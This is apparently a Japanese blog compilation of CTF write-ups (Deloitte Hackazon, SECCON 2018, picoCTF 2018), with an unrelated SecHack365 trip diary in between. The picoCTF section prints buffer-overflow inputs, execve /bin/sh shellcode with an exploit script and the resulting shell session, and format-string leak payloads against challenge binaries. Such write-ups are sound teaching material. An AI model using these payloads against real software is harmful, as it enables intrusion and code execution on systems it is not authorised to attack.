  return correct;  
}

コードを読むとverify文字のindexasciiの値文字列の長さを渡し,1 or 0を返していることが分かります.

bufferを静的解析するのはしんどそうなので動的解析します.
まず正しい返り値を得るには正しい文字列長が必要になるので文字列長を調べます.

for (ascii = 32; ascii < 127; ascii++) {
  for(len = 1; len < 100; len++) {
    check = wasmInstance.exports.verify(0, ascii, len)
    if (check) {
      alert('len:' + len + ', ascii:' + ascii)
    }
    
  }
}

f:id:satto1237:20181104224915p:plain

正しい文字列長は28で文字列の1文字目はCであることが分かりました.

正しい文字列長が分かったので正しい文字列を総当たりで求めます.

var ans = ''

for(c = 0; c < 29; c++) {
  for (ascii = 32; ascii < 127; ascii++) {
    var check = wasmInstance.exports.verify(c, ascii, 28)
    if (check) {
      ans += String.fromCharCode(ascii)
    }
  }
}

alert(ans)

f:id:satto1237:20181104225239p:plain

CTF{im_a_webassembly_hacker}

IT'S ALL UNDER CONTROL [100 POINTS]

Bloo always says he's got everything under control. It even says this on the About page!

f:id:satto1237:20181104225538p:plain

アプローチ:.gitの中身を確認

問題文通りにhttps://codebloo.challenge.hackazon.org/.gitにアクセスしてみるとしっかり200が返ってきます.

dvcs-ripperを使って.gitをまるっと落とします.
github.com

> ./rip-git.pl -v -u https://codebloo.challenge.hackazon.org/.git
> git show HEAD
commit a35561d9ca77ffe6e9d1256f1c6a323a51b9c135 (HEAD -> master)
Author: Cedric Van Bockhaven <cvanbockhaven@deloitte.nl>
Date:   Wed Oct 24 12:17:37 2018 +0200

    tests completed

diff --git a/test.html b/test.html
index 4a80eff..522d82d 100644
--- a/test.html
+++ b/test.html
@@ -1,2 +1 @@
-Congratulations... have yourself a flag :)
-CTF{found_the_hidden_git}
+Test successful.

CTF{found_the_hidden_git}

HACKAZON EC2 WEBSITE [WEB 1250]

f:id:satto1237:20181104230557p:plain

HIDDEN IN PLAIN SIGHT [50 POINTS]

There is a simple starter flag staring you right in the face. The website can be accessed via 10.6.0.1. Flag format: CTF{32-hex}

アプローチ:ソースコードを見る

ソースコードからCTFという文字列を探すとflagが見つかります.

CTF{83be3524805662a4096af24cbe069bc4}

THE ROBOT KNOWS [50 POINTS]

There are some files on this sever you just should not be able to view. The website can be accessed via 10.6.0.1. Flag format: CTF{32-hex}

アプローチ:robots.txt

問題名に従いhttp://10.6.0.1/robots.txtにアクセスしてみると

User-agent: *
Disallow: /
Disallow: /super-secret-admin-1234.php

怪しいページがあることが分かりますね.
さっそくhttp://10.6.0.1/super-secret-admin-1234.phpにアクセスしてみますがhttp://10.6.0.1/index.phpにリダイレクトされてしまいます.
ここで「は?」とならずに落ち着いてcurlします.

> curl http://10.6.0.1/super-secret-admin-1234.php
         _______                   _____                    _____            _____                _____                    _____
        /::\    \                 /\    \                  /\    \          /\    \              /\    \                  /\    \
       /::::\    \               /::\    \                /::\____\        /::\    \            /::\    \                /::\    \
      /::::::\    \             /::::\    \              /:::/    /        \:::\    \           \:::\    \              /::::\    \
     /::::::::\    \           /::::::\    \            /:::/    /          \:::\    \           \:::\    \            /::::::\    \
    /:::/~~\:::\    \         /:::/\:::\    \          /:::/    /            \:::\    \           \:::\    \          /:::/\:::\    \
   /:::/    \:::\    \       /:::/__\:::\    \        /:::/    /              \:::\    \           \:::\    \        /:::/__\:::\    \
  /:::/    / \:::\    \     /::::\   \:::\    \      /:::/    /               /::::\    \          /::::\    \      /::::\   \:::\    \
 /:::/____/   \:::\____\   /::::::\   \:::\    \    /:::/    /       ____    /::::::\    \        /::::::\    \    /::::::\   \:::\    \
|:::|    |     |:::|    | /:::/\:::\   \:::\    \  /:::/    /       /\   \  /:::/\:::\    \      /:::/\:::\    \  /:::/\:::\   \:::\    \
|:::|____|     |:::|    |/:::/__\:::\   \:::\____\/:::/____/       /::\   \/:::/  \:::\____\    /:::/  \:::\____\/:::/__\:::\   \:::\____\
 \:::\    \   /:::/    / \:::\   \:::\   \::/    /\:::\    \       \:::\  /:::/    \::/    /   /:::/    \::/    /\:::\   \:::\   \::/    /
  \:::\    \ /:::/    /   \:::\   \:::\   \/____/  \:::\    \       \:::\/:::/    / \/____/   /:::/    / \/____/  \:::\   \:::\   \/____/
   \:::\    /:::/    /     \:::\   \:::\    \       \:::\    \       \::::::/    /           /:::/    /            \:::\   \:::\    \
    \:::\__/:::/    /       \:::\   \:::\____\       \:::\    \       \::::/____/           /:::/    /              \:::\   \:::\____\
     \::::::::/    /         \:::\   \::/    /        \:::\    \       \:::\    \           \::/    /                \:::\   \::/    /
      \::::::/    /           \:::\   \/____/          \:::\    \       \:::\    \           \/____/                  \:::\   \/____/
       \::::/    /             \:::\    \               \:::\    \       \:::\    \                                    \:::\    \
        \::/____/               \:::\____\               \:::\____\       \:::\____\                                    \:::\____\
         ~~                      \::/    /                \::/    /        \::/    /                                     \::/    /
                                  \/____/                  \/____/          \/____/                                       \/____/

CTF{2d88fc96e397c56c25b6180a7e752894}%

CTF{2d88fc96e397c56c25b6180a7e752894}

KONAMI [50 POINTS]

There is a Hackazon cheat code you can enter which will disclose a konami code flag. The website can be accessed via 10.6.0.1. Flag format: CTF{32-hex}

アプローチ:CSSのコードを確認

#konami-full-robot{
    margin-left: -270px;
}

#konami-branding { 
    background: url('../img/robot-head.png') no-repeat center top;
    width: 271px;
    height: 253px;
    z-index: 4; 
    }

#konami-content {
    background: url('../img/robot-torso.png') no-repeat center top;
    width: 271px;
    height: 164px;
    z-index: 3;
    margin-top: -65px;
    }

#konami-sec-content {
    background: url('../img/robot-hips.png') no-repeat center top;
    width: 271px;
    height: 124px;
    z-index: 2;
    margin-top: -90px;
    }

#konami-footer {
    background: url('../img/robot-legs.png') no-repeat center top;
    width: 271px;
    height: 244px;
    z-index: 1;
    margin-top: -90px;
}

とりあえずhttp://10.6.0.1/img/robot-head.pngにアクセスしてみると

f:id:satto1237:20181104233339p:plain

ロボットの頭にflagが書かれていることが確認できます.

CTF{55a1d6079d5078b9185306c54ee063f8}

まとめ

  • Deloitte CTFのおかげで学スタの空き時間を楽しく過ごせた (もちろん聴講もしました)
  • 色々と勉強になった (特にWebAssembly)
  • Crypto問が出題されなくて残念だった
  • Web問が何も分からないので勉強したい
  • Code Blooを1番最初に全完できたのが地味に嬉しかった
  • 上位に入れたのが嬉しかった (3位)

SecHack365@山形に行ってきた話

SecHackのオフラインイベントで山形に行ってきました(10/12~10/14)

0日目 (10/11)

大学関係のタスクに忙殺されていて本当にしんどかった.
英気を養うためにラーメンを食べた.
f:id:satto1237:20181030150936j:plain

1日目 (10/12)

06:00

起床.

09:00

東京駅到着.
新幹線では論文読んだりポスターを見直して話す内容を整理していた.

11:50

山形駅着.
新幹線でめちゃくちゃ乗り物酔いしてつらくなった.
f:id:satto1237:20181030152334j:plain

12:30

昼飯.
事前におすすめラーメンを地元民に聞いていたので店はすぐ決まった. f:id:satto1237:20181030152105p:plain f:id:satto1237:20181030153207j:plain

14:15

会場到着.
ハロウィーン仕様だった.
f:id:satto1237:20181030153708j:plain

15:30

ポスター発表開始.
やっぱりしゃべる内容よりもデモを見せた方がウケがいいなと思った.
チームメンバが担当しているフロントエンドやバックエンドの進捗と比べ,自分が担当している異常検知,脆弱性検知の進捗はデモを見せることができるレベルに達していなかったので本当に申し訳なくなった.
デモの展示が必須になる愛媛回までには間に合わせたい.

16:30

ポスター発表でもらったコメントの整理.
議論が甘くてツッコまれるだろうな〜と思ってた問題や全く考えていなかった問題について色々とコメントをもらったのですごく有意義だった.

18:10

夕飯.
f:id:satto1237:20181030155928j:plain

19:20

他の人のポスター発表みた.
それぞれポスターに個性が出てて面白かった.

25:00

温泉入ったり部屋でチームメンバと話をしたりしていたら日付が変わっていたので就寝.

2日目 (10/13)

08:30

朝ごはんチャレンジ成功.

09:10

修了生LT

  • レーザポインタを用いた家電操作
  • 分散Webプラットフォーム
  • Shima Fuzzy Lop
  • 深層学習を用いたフィッシングサイト検知

求められる最終成果物のレベルが高いな〜と思った.

10:00

ポスター発表レビュー
トレーナーと相談しながら今後の方針を決めた.
要件定義 is 大事

12:15

昼飯.
f:id:satto1237:20181030162459j:plain

13:15

ロープウェイでハイキング(リフレッシュ)
現地の人に頭のおかしい集団だと思われたかも f:id:satto1237:20181030162555j:plain f:id:satto1237:20181030162623j:plain f:id:satto1237:20181030162653j:plain f:id:satto1237:20181030162721j:plain

15:20

ポスター直し.

17:00

ARLISS 世界で最も過酷なロボットコンペ の講演.
CanSatめっちゃ面白そうだなと思った(正直な感想).
いくら理論を突き詰めても事前準備(実験)が不十分だと失敗するよという話が印象的だった.

18:00

夕飯.
f:id:satto1237:20181030163347j:plain

19:00

トレーナーLT + 交流
良い交流になったと思う.

25:00

なぜ日付が変わらないと眠れないのか?
23:00頃に眠れるように生活リズムを正していきたい.

3日目(10/14)

08:30

朝食チャレンジ失敗.

9:10

コースワークやポスター関連の話し合い

11:30

習慣化フォローアップ
「やる気」は元々存在しない.
言い訳を考えつく前に行動しよう.
という話を聞いて確かにその通りだなと思いました.

12:00

昼飯アンド今後の相談

f:id:satto1237:20181030164201j:plain

15:00

解散.

19:30

東京駅到着.
チームメンバが新幹線内で進捗出しててプロかよ…と思った.

21:00

夕飯.
ラーメンで締め. f:id:satto1237:20181030164450j:plain

まとめ

  • 言い訳を考えつく前に行動する
  • 愛媛回までにデモを見せれるように進捗だす
  • ポスター発表の練習(話すことを整理)を十分にする
  • ラーメンの食べ過ぎに気をつける

SECCON 2018 Write-up

はじめに

10/27,28に開催されたSECCON 2018に研究室の同期とm45kというチームで参加しました.

SECCON 2018 Online CTF

成績

3問解いて 183位 / 653チーム でした. f:id:satto1237:20181029160547p:plain f:id:satto1237:20181029231926p:plain

Write-up

自分が解いた Runme, Boguscrypt についてのWrite-up です.

Runme [Reversing]

Run me.

アプローチ:Stackの確認
ダウンロードしたファイルを調べてみると32bit版 Windowsの実行ファイルだということが分かりました.

> file runme.exe_b834d0ce1d709affeedb1ee4c2f9c5d8ca4aac68
runme.exe_b834d0ce1d709affeedb1ee4c2f9c5d8ca4aac68: PE32 executable (console) Intel 80386, for MS Windows

諸事情でWindows環境を用意できなかったのでEasyWine.appを利用して実行してみると

f:id:satto1237:20181029233207p:plain

このままでは実行できないことが分かります.

そこで,idaを利用して実行ファイルを解析します.

f:id:satto1237:20181029234019p:plain

不自然なほど関数があるので1つずつ中身を確認していきます.

f:id:satto1237:20181029234331p:plain

いくつかの関数を確認するとflagが1文字ずつPushされていることに気づくので1文字ずつ読み取っていきます.
SECCON{Runn1n6_P47h}

Boguscrypt [Crypto]

Boguscrypt
Hey, Can you decrypt the file?

アプローチ:rev/pcap

zipファイルを解凍すると

> file challenge.pcap
challenge.pcap: tcpdump capture file (little-endian) - version 2.4 (Ethernet, capture length 262144)
> file dec
dec: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=83c20d8c2abda1f5e7505bc9f11723e6f59ce129, not stripped
> file flag.txt.encrypted
flag.txt.encrypted: data

pcap, 実行ファイル, テキストファイルを入手することができます.
Crypto問なのにバイナリファイルの解析しなきゃいけないのか…とちょっとテンションが下がりました.

とりあえずdecを実行してみると

> ./dec
Key?:Crypto

Keyの入力を求められ,適当な文字列を入力するとflag.txt.encryptedからflag.txtが生成されます.
ここで何通りかのKeyを入力して遊んでみるとflag.txtに変化が生じていないことに気づきます.

問題名のBogusは「偽の、いんちきな」という意味なので,Keyflag.txtの生成に無関係であることが予想できます.
gdbを使用して詳しくdecの動作を確認してみると, gethostbyaddrcallしていることに気づきます.

[----------------------------------registers-----------------------------------]
EAX: 0xf7fb5948 --> 0x804ba60 ("ubuntu")
EBX: 0x0 
ECX: 0x0 
EDX: 0x0 
ESI: 0xf7fb3000 --> 0x1d4d6c 
EDI: 0x0 
EBP: 0xffffcfb8 --> 0x0 
ESP: 0xffffaf20 --> 0xffffaf30 --> 0x200007f 
EIP: 0x80486e1 (<main+100>:   cmp    DWORD PTR [esp+0x1c],0x0)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80486d5 <main+88>:   mov    DWORD PTR [esp],eax
   0x80486d8 <main+91>:   call   0x80484c0 <gethostbyaddr@plt>
   0x80486dd <main+96>:   mov    DWORD PTR [esp+0x1c],eax
=> 0x80486e1 <main+100>:   cmp    DWORD PTR [esp+0x1c],0x0
   0x80486e6 <main+105>:  jne    0x80486fe <main+129>
   0x80486e8 <main+107>:  mov    DWORD PTR [esp],0x8048a15
   0x80486ef <main+114>:  call   0x8048550 <herror@plt>
   0x80486f4 <main+119>:  mov    eax,0x1
[------------------------------------stack-------------------------------------]
0000| 0xffffaf20 --> 0xffffaf30 --> 0x200007f 
0004| 0xffffaf24 --> 0x4 
0008| 0xffffaf28 --> 0x2 
0012| 0xffffaf2c --> 0x0 
0016| 0xffffaf30 --> 0x200007f 
0020| 0xffffaf34 --> 0x0 
0024| 0xffffaf38 --> 0x0 
0028| 0xffffaf3c --> 0xf7fb5948 --> 0x804ba60 ("ubuntu")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x080486e1 in main ()

ホスト名を変更して再度decを実行してみるとflag.txtに変化が生じていることが確認できます.
このことからchallenge.pcapからホスト名を探しだし,該当ホスト名でdecを実行するとflag.txtを正常にデコードできることが分かります.

challenge.pcapを眺めてると怪しいホスト名(cur10us4ndl0ngh0stn4m3)が見つかります f:id:satto1237:20181030001731p:plain

ホスト名をcur10us4ndl0ngh0stn4m3に変更してdecを実行するとflag.txtが正常にデコードできます.
SECCON{This flag is encoded by bogus routine}

お気持ち表明

取り組んだけど解けなかった問題とコンテスト終了後に解けた問題について書きます.

Classic Pwn [Pwn]

1番時間をかけた問題
returnアドレスのオフセットもlibc_baseもあってるはずなのに上手く行かなかった.
Pwnの勉強がんばります.

QRChecker [QR]

知ってたのに気づけなかった
news.yahoo.co.jp

mnemonic [Crypto]

Read me.

{
    "japanese": [
    [
        "d3a02b9706507552f0e70709f1d4921275204365b4995feae1d949fb59c663cc",
        "ふじみ あさひ みのう いっち いがく とない はづき ますく いせえび たれんと おとしもの おどろかす ことし おくりがな ちょうし ちきゅう さんきゃく こんとん せつだん ちしき ぬいくぎ まんなか たんい そっと",
        "338c161dbdb47c570d5d75d5936e6a32178adde370b6774d40d97a51835d7fec88f859e0a6660891fc7758d451d744d5d3b1a1ebd1123e41d62d5a1550156b1f"
    ],
    [
        "dfc9708ac4b4e7f67be6b8e33486482cb363e81967a1569c6fd888b088046f7c",
        "ほんやく ごうきゅう おさめる たこやき ごかん れいぎ やせる ふるい まんなか てんない だんろ さうな きぼう よくぼう しのぐ よけい こんき みうち らくご いわかん いこく あたためる のはら たぶん",
        "bdadda5bbff97eb4fda0f11c7141bc3ce3de0fef0b2e4c47900858cec639c10187aee4695b1ba462b1dd34b170b62801e68c270b93af62629f4964947a620ed9"
    ],
    [
        "c0f...",
        "??? とかす なおす よけい ちいさい さんらん けむり ていど かがく とかす そあく きあい ぶどう こうどう ねみみ にあう ねんぐ ひねる おまいり いちじ ぎゅうにく みりょく ろしゅつ あつめる",
        "e9a..."
    ],
    ],
    "flag": "SECCON{md5(c0f...)}"
}

アプローチ:BIP39

textファイルを見ても正直よく分からないのでmnemonic encodeとかでググります.
すると,なんやかんやでBIP39の日本語ワードリストを利用したMnemonicであることが分かります.

Seed phrase - Bitcoin Wiki

textファイルの???日本語ワードリストの単語に置き換えて,BIP39 Seedを計算し,先頭がe9aとなる単語を探索してる最中にコンテストが終了しました.

コンテスト終了後に気づいたのですが,11bit毎にhexを日本語に置き換えているだけなので全探索をせずとも???はワードリストの0xc0f >> 1番目の単語(はいれつ)であることが分かります.

以下スクリプトです.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import hashlib
import binascii
import mnemonic

if __name__ == '__main__' :
    WORDS = u' とかす なおす よけい ちいさい さんらん けむり ていど かがく とかす そあく きあい ぶどう こうどう ねみみ にあう ねんぐ ひねる おまいり いちじ ぎゅうにく みりょく ろしゅつ あつめる'
    KEY = 0xc0f

    m = mnemonic.Mnemonic('japanese')
    first_word = m.wordlist[KEY>>1]
    entropy = binascii.hexlify(m.to_entropy(first_word + WORDS))
    hash = hashlib.md5(entropy).hexdigest()
    print('SECCON{' + hash + '}')
> python  solve.py
SECCON{cda2cb1742d1b6fc21d05c879c263eec}

SECCON{cda2cb1742d1b6fc21d05c879c263eec}

まとめ

  • 今年のSECCONは難しかったらしい(初参加なので違いが分からなかった)
  • Pwn, Rev偏重なので低レイヤ強くならないと楽しめないことが分かった
  • CryptoがBoguscrypt以外暗号通貨問だったのでつらかった(分かんねぇ〜〜〜〜〜〜〜)
  • 低レイヤの勉強頑張ります

picoCTF 2018 Write-up [Reversing] + [Binary Exploitation]

まえがき

前回の続きです.
今回はReversingBinary ExploitationのWrite-upを書こうと思います.

satto.hatenadiary.com

Reversing

Reversing Warmup 1 - Points: 50

Throughout your journey you will have to run many programs. Can you navigate to /problems/reversing-warmup-1_2_a237211c4be8902c67102f827027e633 on the shell server and run this program to retreive the flag?

アプローチ:ELFファイルの実行

> file run
run: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=3f4cbb89ad8989bad12dfa913e40072f3d21c96d, not stripped
> ./run
picoCTF{welc0m3_t0_r3VeRs1nG}

picoCTF{welc0m3_t0_r3VeRs1nG}

Reversing Warmup 2 - Points: 50

Can you decode the following string dGg0dF93NHNfczFtcEwz from base64 format to ASCII

アプローチ:base64

> echo dGg0dF93NHNfczFtcEwz | base64 --d
th4t_w4s_s1mpL3

picoCTF{th4t_w4s_s1mpL3}

assembly-0 - Points: 150

What does asm0(0xb6,0xc6) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/assembly-0_0_5a220faedfaf4fbf26e6771960d4a359.

アプローチ:アセンブラを読む

.intel_syntax noprefix
.bits 32

.global asm0

asm0:
    push    ebp
    mov ebp,esp
    mov eax,DWORD PTR [ebp+0x8]
    mov ebx,DWORD PTR [ebp+0xc]
    mov eax,ebx
    mov esp,ebp
    pop ebp
    ret

アセンブラを読むとeaxebxをコピーしていること分かる このときasm0(0xb6,0xc6)なのでeax=0xb6,ebx=0xc6

picoCTF{0xc6,0xc6}

assembly-1 - Points: 200

What does asm1(0x76) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/assembly-1_0_cfb59ef3b257335ee403035a6e42c2ed.

アプローチ:アセンブラを読む

.intel_syntax noprefix
.bits 32

.global asm1

asm1:
    push    ebp
    mov ebp,esp
    cmp DWORD PTR [ebp+0x8],0x98
    jg  part_a
    cmp DWORD PTR [ebp+0x8],0x8
    jne part_b
    mov eax,DWORD PTR [ebp+0x8]
    add eax,0x3
    jmp part_d
part_a:
    cmp DWORD PTR [ebp+0x8],0x16
    jne part_c
    mov eax,DWORD PTR [ebp+0x8]
    sub eax,0x3
    jmp part_d
part_b:
    mov eax,DWORD PTR [ebp+0x8]
    sub eax,0x3
    jmp part_d
    cmp DWORD PTR [ebp+0x8],0xbc
    jne part_c
    mov eax,DWORD PTR [ebp+0x8]
    sub eax,0x3
    jmp part_d
part_c:
    mov eax,DWORD PTR [ebp+0x8]
    add eax,0x3
part_d:
    pop ebp
    ret

picoCTF{0x73,0x73}

Binary Exploitation

buffer overflow 0 - Points: 150

Let's start off simple, can you overflow the right buffer in this program to get the flag? You can also find it in /problems/buffer-overflow-0_1_316c391426b9319fbdfb523ee15b37db on the shell server. Source.

#include <stdio.h>                                                                                              
#include <stdlib.h>                                                                                             
#include <string.h>                                                                                             
#include <signal.h>                                                                                             
                                                                                                                
#define FLAGSIZE_MAX 64                                                                                         
                                                                                                                
char flag[FLAGSIZE_MAX];                                                                                        
                                                                                                                
void sigsegv_handler(int sig) {                                                                                 
  fprintf(stderr, "%s\n", flag);                                                                                
  fflush(stderr);                                                                                               
  exit(1);                                                                                                      
}                                                                                                               
                                                                                                                
void vuln(char *input){                                                                                         
  char buf[16];                                                                                                 
  strcpy(buf, input);                                                                                           
}                                                                                                               
                                                                                                                
int main(int argc, char **argv){                                                                                

  FILE *f = fopen("flag.txt","r");                                                                              
  if (f == NULL) {                                                                                              
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on t
he shell server.\n");                                                                                           
    exit(0);                                                                                                    
  }                                                                                                             
  fgets(flag,FLAGSIZE_MAX,f);                                                                                   
  signal(SIGSEGV, sigsegv_handler);                                                                             

  gid_t gid = getegid();                                                                                        
  setresgid(gid, gid, gid);                                                                                     

  if (argc > 1) {                                                                                               
    vuln(argv[1]);                                                                                              
    printf("Thanks! Received: %s", argv[1]);                                                                    
  }                                                                                                             
  else                                                                                                          
    printf("This program takes 1 argument.\n");                                                                 
  return 0;                                                                                                     
}                                

アプローチ:BOF

コードを読むとvuln()strcpy(buf, input)が危ないことが分かるのでbufBOFします.

satto1237@pico-2018-shell-1:/problems/buffer-overflow-0_1_316c391426b9319f ./vuln aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
picoCTF{ov3rfl0ws_ar3nt_that_bad_3598a894}

buffer overflow 1 - Points: 200

Okay now you're cooking! This time can you overflow the buffer and return to the flag function in this program? You can find it in /problems/buffer-overflow-1_3_af8f83fb19a7e2c98e28e325e4cacf78 on the shell server. Source.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"

#define BUFSIZE 32
#define FLAGSIZE 64

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);

  printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

アプローチ:gdb+ltrace

コードを読むとvuln()のリターンアドレスをwin()にすればいいっぽいのでgdbを使ってアドレスを調べます.

(gdb) call vuln
$1 = {<text variable, no debug info>} 0x804862f <vuln>
(gdb) call win
$2 = {<text variable, no debug info>} 0x80485cb <win>

リターンアドレスを0x80485cbに書き換えるとflagがとれそうということが分かります.

ltraceを使いながらリターンアドレスの位置を計算します.

> printf "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLL" | ltrace -i ./vuln
[0x80484f1] __libc_start_main(0x804865d, 1, 0xffca67d4, 0x80486d0 <unfinished ...>
[0x804867f] setvbuf(0xf7f94d80, 0, 2, 0)                                = 0
[0x8048687] getegid()                                                   = 1000
[0x804869b] setresgid(1000, 1000, 1000, 0x8048687)                      = 0
[0x80486ab] puts("Please enter your string: "Please enter your string:
)                          = 27
[0x8048641] gets(0xffca66e0, 0, 0xf7f94d80, 0xfbad2887)                 = 0xffca66e0
[0x8048657] printf("Okay, time to return... Fingers "..., 0x4c4c4c4cOkay, time to return... Fingers Crossed... Jumping to 0x4c4c4c4c
)   = 65
[0x4c4c4c4c] --- SIGSEGV (Segmentation fault) ---
[0xffffffffffffffff] +++ killed by SIGSEGV +++

0x4c4c4c4cになってることからLをアドレスに置き換えるといい感じになりそうということが分かります.

satto1237@pico-2018-shell-1:/problems/buffer-overflow-1_3_af8f83fb19a7e2c98e28e325e4cacf78$ printf "AAAABBBBCCCC
DDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKK\xcb\x85\x04\x08" | ./vuln
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x80485cb
picoCTF{addr3ss3s_ar3_3asy65489706}Segmentation fault

picoCTF{addr3ss3s_ar3_3asy65489706}

leak-me - Points: 200

Can you authenticate to this service and get the flag? Connect with nc 2018shell1.picoctf.com 1271. Source.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

int flag() {
  char flag[48];
  FILE *file;
  file = fopen("flag.txt", "r");
  if (file == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(flag, sizeof(flag), file);
  printf("%s", flag);
  return 0;
}


int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  // Set the gid to the effective gid
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  // real pw:
  FILE *file;
  char password[64];
  char name[256];
  char password_input[64];

  memset(password, 0, sizeof(password));
  memset(name, 0, sizeof(name));
  memset(password_input, 0, sizeof(password_input));

  printf("What is your name?\n");

  fgets(name, sizeof(name), stdin);
  char *end = strchr(name, '\n');
  if (end != NULL) {
    *end = '\x00';
  }

  strcat(name, ",\nPlease Enter the Password.");

  file = fopen("password.txt", "r");
  if (file == NULL) {
    printf("Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(password, sizeof(password), file);

  printf("Hello ");
  puts(name);

  fgets(password_input, sizeof(password_input), stdin);
  password_input[sizeof(password_input)] = '\x00';

  if (!strcmp(password_input, password)) {
    flag();
  }
  else {
    printf("Incorrect Password!\n");
  }
  return 0;
}

アプローチ:nameでBOF

nameBOFするとパスワードが降ってきます.
a_reAllY_s3cuRe_p4s$word_f78570

> nc 2018shell1.picoctf.com 1271
What is your name?
satto1237
Hello satto1237,
Please Enter the Password.
a_reAllY_s3cuRe_p4s$word_f78570
picoCTF{aLw4y5_Ch3cK_tHe_bUfF3r_s1z3_958ebb8e}

picoCTF{aLw4y5_Ch3cK_tHe_bUfF3r_s1z3_958ebb8e}

shellcode - Points: 200

This program executes any input you give it. Can you get a shell? You can find the program in /problems/shellcode_3_09e0c5074980877d900d65c545d1e127 on the shell server. Source.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 148
#define FLAGSIZE 128

void vuln(char *buf){
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  char buf[BUFSIZE];

  puts("Enter a string!");
  vuln(buf);

  puts("Thanks! Executing now...");

  ((void (*)())buf)();

  return 0;
}

アプローチ:BOFでshellを起動

getsを使用しているのでBOFは簡単にできそうということがわかる. 問題文がshellcodeなのでBOFshellを起動すればflagをとれそう.

ももテクを参考にexploitコードを書きました.

inaz2.hatenablog.com

exploitコード

import sys

shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"

bufsize = 148
buf = shellcode
buf += 'A' * (bufsize - len(shellcode))
print(buf)
satto1237@pico-2018-shell-1:/problems/shellcode_3_09e0c5074980877d900d65c545d1e127$ (echo -e  "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; cat) | ./vuln
Enter a string!
1Rh//shh/binRSB
               ̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA
Thanks! Executing now...
ls
flag.txt  vuln  vuln.c
cat flag.txt
picoCTF{shellc0de_w00h00_7f5a7309}

picoCTF{shellc0de_w00h00_7f5a7309}

echooo - Points: 300

This program prints any input you give it. Can you leak the flag? Connect with nc 2018shell1.picoctf.com 46960. Source.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  char buf[64];
  char flag[64];
  char *flag_ptr = flag;
  
  // Set the gid to the effective gid
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  memset(buf, 0, sizeof(flag));
  memset(buf, 0, sizeof(buf));

  puts("Time to learn about Format Strings!");
  puts("We will evaluate any format string you give us with printf().");
  puts("See if you can get the flag!");
  
  FILE *file = fopen("flag.txt", "r");
  if (file == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }
  
  fgets(flag, sizeof(flag), file);
  
  while(1) {
    printf("> ");
    fgets(buf, sizeof(buf), stdin);
    printf(buf);
  }  
  return 0;
}

アプローチ:FORMAT STRING ATTACK ~書式指定文字列攻撃~

今回もももテクを参考にしました.

inaz2.hatenablog.com

> nc 2018shell1.picoctf.com 46960
Time to learn about Format Strings!
We will evaluate any format string you give us with printf().
See if you can get the flag!
> AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
AAAA00000040.f772d5a0.08048647.f7764a74.00000001.f773c490.ffcbd2a4.ffcbd1ac.00000493.092f4008.41414141.78383025> .00000040.f772d5a0.08048647
>

